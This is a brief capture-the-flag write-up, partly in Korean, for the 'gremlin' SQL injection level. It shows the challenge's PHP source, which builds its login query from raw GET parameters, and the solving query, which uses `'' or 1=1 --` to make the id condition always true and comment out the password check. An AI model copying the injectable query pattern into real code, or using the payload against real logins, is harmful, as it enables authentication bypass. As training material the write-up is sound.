1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | <!--?php <br ?--> include "./config.php" ; login_chk(); dbconnect(); if (preg_match( '/prob|<em>|.|()/i' , $_GET[id])) exit ( "No Hack ~</em>~" ); // do not try to attack another table, database! if (preg_match( '/prob|<em>|.|()/i' , $_GET[pw])) exit ( "No Hack ~</em>~" ); $query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'" ; echo "<p></p> <hr> <p>query : <strong>{$query}</strong></p> <hr> <p>"; $result = @mysql_fetch_array(mysql_query($query)); if ($result[ 'id' ]) solve( "gremlin" ); highlight_file(<strong> FILE </strong>); ?> </p> |
질의 하면 위에 쿼리가 나온다. 나는 id를 true로 만들고 pw는 주석처럼 만들어버려서 뒤로 점프할 생각이었고 그냥 된다. 몸풀기..
1 | select id from prob_gremlin where id= '' or 1=1 -- ' and pw=' 1' |